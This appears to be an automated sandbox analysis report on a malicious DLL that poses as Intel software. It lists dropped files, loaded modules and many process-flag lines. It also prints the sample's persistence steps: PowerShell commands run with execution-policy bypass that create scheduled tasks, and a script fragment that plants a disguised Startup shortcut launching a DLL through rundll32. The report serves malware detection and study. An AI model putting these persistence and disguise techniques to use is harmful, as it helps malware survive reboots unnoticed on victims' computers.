Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll

Source: IntelManagementEngine.lnk.26.dr

LNK file: ..\..\..\..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\logs.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\error.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior

Source: uEhN67huiV.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: uEhN67huiV.dll

Static file information: File size 11421696 > 1048576

Source: uEhN67huiV.dll	Static PE information: Raw size of .managed is bigger than: 0x100000 < 0x2e1c00
Source: uEhN67huiV.dll	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x6fce00

Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: uEhN67huiV.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: uEhN67huiV.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: uEhN67huiV.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: uEhN67huiV.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: uEhN67huiV.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: uEhN67huiV.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: uEhN67huiV.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: uEhN67huiV.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior

Source: FSharp.Core.All.dll.33.dr

Static PE information: 0xB098E887 [Tue Nov 20 19:03:35 2063 UTC]

Source: uEhN67huiV.dll	Static PE information: section name: .managed
Source: uEhN67huiV.dll	Static PE information: section name: hydrated
Source: uEhN67huiV.dll	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FF8476F10D4 push eax; retf	17_2_00007FF8476F112B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FF8476F112E push eax; retf	17_2_00007FF8476F112B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FF8476F110D push eax; retf	17_2_00007FF8476F112B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF8477000BD pushad ; iretd	21_2_00007FF8477000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF847700EB0 push eax; retf	21_2_00007FF847700ED3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF8477200BD pushad ; iretd	26_2_00007FF8477200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF8477219BA pushad ; ret	26_2_00007FF8477219C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF847720D05 push eax; retf	26_2_00007FF847720D13

Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll			Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll			Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\InstallError.txt

Jump to behavior

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll,DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementEngine.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementEngine.lnk

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
